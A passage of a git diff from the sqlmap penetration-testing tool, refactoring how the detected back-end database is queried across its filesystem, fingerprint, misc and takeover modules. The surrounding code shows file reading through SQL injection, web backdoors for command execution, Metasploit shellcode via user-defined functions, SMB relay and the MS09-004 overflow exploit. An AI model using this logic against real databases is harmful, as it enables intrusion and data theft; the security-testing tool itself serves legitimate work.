"SELECT LENGTH(LOAD_FILE('%s'))" % dFile - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: self.createSupportTbl(self.fileTblName, self.tblField, "text") # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx @@ -271,7 +271,7 @@ class Filesystem: fileContent = self.unionReadFile(rFile) - if fileContent in ( None, "" ) and getIdentifiedDBMS() != DBMS.PGSQL: + if fileContent in ( None, "" ) and backend.getIdentifiedDbms() != DBMS.PGSQL: self.cleanup(onlyFileTbl=True) return @@ -289,7 +289,7 @@ class Filesystem: fileContent = self.__unhexString(fileContent) rFilePath = dataToOutFile(fileContent) - if getIdentifiedDBMS() != DBMS.PGSQL: + if backend.getIdentifiedDbms() != DBMS.PGSQL: self.cleanup(onlyFileTbl=True) return rFilePath diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index a8fe44739..fa5aa4802 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ +from lib.core.common import backend from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger @@ -18,7 +19,7 @@ class Fingerprint: """ def __init__(self, dbms): - kb.misc.forcedDbms = dbms + backend.forceDbms(dbms) def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 3f3cad92c..3b828a47f 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -10,7 +10,7 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.common import getCompiledRegex -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import isTechniqueAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes @@ -57,19 +57,19 @@ class Miscellaneous: infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: first, last = 1, 6 - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: first, last = 12, 6 - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: first, last = 29, 9 else: raise sqlmapUnsupportedFeatureException, "unsupported DBMS" - query = queries[getIdentifiedDBMS()].substring.query % (queries[getIdentifiedDBMS()].banner.query, first, last) + query = queries[backend.getIdentifiedDbms()].substring.query % (queries[backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query @@ -120,7 +120,7 @@ class Miscellaneous: if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) - if getIdentifiedDBMS() == DBMS.MSSQL: + if backend.getIdentifiedDbms() == DBMS.MSSQL: return if udfDict is None: @@ -133,7 +133,7 @@ class Miscellaneous: if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf - if getIdentifiedDBMS() == DBMS.PGSQL: + if backend.getIdentifiedDbms() == DBMS.PGSQL: inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 0986bd08a..8d07af381 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission import os -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import runningAsAdmin @@ -45,7 +45,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): def osCmd(self): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: web = False - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: + elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL: infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) @@ -66,7 +66,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): def osShell(self): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: web = False - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: + elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL: infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) @@ -149,7 +149,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg += "is unlikely to receive commands send from you" logger.error(errMsg) - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.sysUdfs.pop("sys_bineval") if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: @@ -159,7 +159,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self.initEnv(web=web) if tunnel == 1: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" @@ -189,7 +189,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self.uploadMsfPayloadStager() if kb.os == "Windows" and conf.privEsc: - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) @@ -207,7 +207,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self.uploadIcmpshSlave(web=web) self.icmpPwn() - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: + elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL: web = True infoMsg = "going to use a web backdoor to establish the tunnel" @@ -256,13 +256,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): raise sqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: - if getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.MSSQL ): + if backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise sqlmapUnsupportedDBMSException(errMsg) - elif getIdentifiedDBMS() == DBMS.MYSQL: + elif backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" @@ -271,19 +271,19 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): printWarn = True warnMsg = "it is unlikely that this attack will be successful " - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" - elif getIdentifiedDBMS() == DBMS.PGSQL: + elif backend.getIdentifiedDbms() == DBMS.PGSQL: warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" - elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): - warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0] + elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")): + warnMsg += "because often Microsoft SQL Server %s " % backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" @@ -300,14 +300,14 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return - if not getIdentifiedDBMS() == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ): + if not backend.getIdentifiedDbms() == DBMS.MSSQL or not backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise sqlmapUnsupportedDBMSException(errMsg) - infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] + infoMsg = "going to exploit the Microsoft SQL Server %s " % backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg)